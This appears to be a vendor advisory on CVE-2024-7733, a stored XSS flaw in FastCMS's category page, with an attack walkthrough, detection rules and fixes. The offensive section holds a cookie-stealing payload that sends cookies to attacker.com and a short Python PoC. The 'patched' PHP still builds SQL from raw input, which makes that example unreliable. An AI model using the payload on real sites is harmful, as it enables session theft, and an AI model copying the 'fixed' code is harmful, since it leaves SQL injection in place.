CVE-2024-7733
Executive Summary
CVE-2024-7733 is a stored Cross-Site Scripting (XSS) vulnerability identified in FastCMS versions up to 0.1.5. The flaw resides in the "New Article Category Page" component, where user-supplied input is not properly sanitized before being stored and later rendered in the browser. An attacker can inject arbitrary JavaScript code, which will execute in the context of any administrator or user who views the affected category page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as problematic with a CVSS score of 0.0 (likely due to incomplete scoring), but the actual risk is moderate given the remote attack vector and public exploit availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FastCMS is a content management system. No specific package manager (NPM, PyPI, Go, Ruby) is associated with this vulnerability. The risk is limited to direct installations of FastCMS.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack can be launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
- User Interaction (UI): Required (R) – The victim must visit the crafted category page.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The vulnerability is easy to exploit, has a public PoC, and can lead to significant impact if combined with social engineering.
Deep Dive & Mechanics
The vulnerability exists in the "New Article Category Page" functionality. When an administrator or user creates a new category, the application stores the category name or description without proper sanitization. The stored data is later rendered in the browser without escaping, allowing an attacker to inject HTML and JavaScript.
Attack Flow:
- An attacker identifies a FastCMS instance (e.g., via Shodan or manual discovery).
- The attacker navigates to the category creation page (e.g.,
/admin/category/new). - The attacker submits a category name containing a malicious payload, such as:
<script>alert('XSS')</script> - The payload is stored in the database.
- When an administrator or any user views the category list or the specific category page, the script executes in their browser.
- The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.
Root Cause: Lack of output encoding and input validation on the category name/description fields.
Vulnerable vs. Patched Code
Vulnerable Code (FastCMS <= 0.1.5):
// In category creation handler
$categoryName = $_POST['category_name'];
// Directly stored without sanitization
$db->query("INSERT INTO categories (name) VALUES ('$categoryName')");
// Later, when rendering:
echo "<h1>" . $categoryName . "</h1>";
Patched Code (Hypothetical fix):
// In category creation handler
$categoryName = htmlspecialchars($_POST['category_name'], ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO categories (name) VALUES ('$categoryName')");
// When rendering:
echo "<h1>" . $categoryName . "</h1>";
The fix uses htmlspecialchars() to encode special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A FastCMS instance (version <= 0.1.5) running locally or in a lab.
- Access to the admin panel (or a public registration if enabled).
Steps:
- Setup: Deploy FastCMS 0.1.5 in a Docker container or local web server.
- Craft Payload: Create a JavaScript payload to steal cookies:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Inject: Log in as an admin, navigate to "New Article Category", and submit the payload as the category name.
- Trigger: As a victim (or another admin), view the category list. The script executes and sends the cookie to the attacker's server.
- Exploit Code (PoC):
import requests target = "http://target.com/admin/category/new" payload = {"category_name": "<script>alert('XSS')</script>"} session = requests.Session() # Assume admin session cookie is obtained session.cookies.set("session", "admin_session_cookie") r = session.post(target, data=payload) print("Payload injected. Visit category list to trigger.")
Blue Team (Defensive)
Detection:
- Monitor for unusual category names containing
<script>,onerror,onload, or other HTML event handlers. - Use WAF rules to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hunting:
- Search logs for POST requests to
/admin/category/newwith suspicious parameters. - Review database entries for category names containing HTML tags.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains from the FastCMS server.
- File: Modified or injected JavaScript in category pages.
- Log: Entries in web server logs showing POST requests to
/admin/category/newwith<script>tags. - Database: Rows in the categories table with HTML/JavaScript in the
namecolumn.
Detection Engineering
YARA Rule
rule Detect_FastCMS_XSS_Payload {
meta:
description = "Detects XSS payloads targeting FastCMS category names"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-7733"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: FastCMS Category XSS Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in FastCMS category creation
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/admin/category/new'
cs-uri-query|contains|all:
- '<script'
- '>'
condition: selection
falsepositives:
- Legitimate use of HTML in category names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"FastCMS XSS Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/category/new"; http_uri; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: If a patched version becomes available, upgrade immediately.
- Input Validation: Implement strict input validation on all category fields. Allow only alphanumeric characters and spaces.
- Output Encoding: Use
htmlspecialchars()or equivalent when rendering user-supplied data. - WAF Rules: Deploy Web Application Firewall rules to block XSS patterns.
- CSP: Add Content Security Policy headers to restrict script execution to trusted sources.
Long-Term:
- Conduct regular security audits of the codebase.
- Implement a security development lifecycle (SDL) with automated SAST/DAST tools.
- Monitor for new CVEs and apply patches promptly.
Valters IT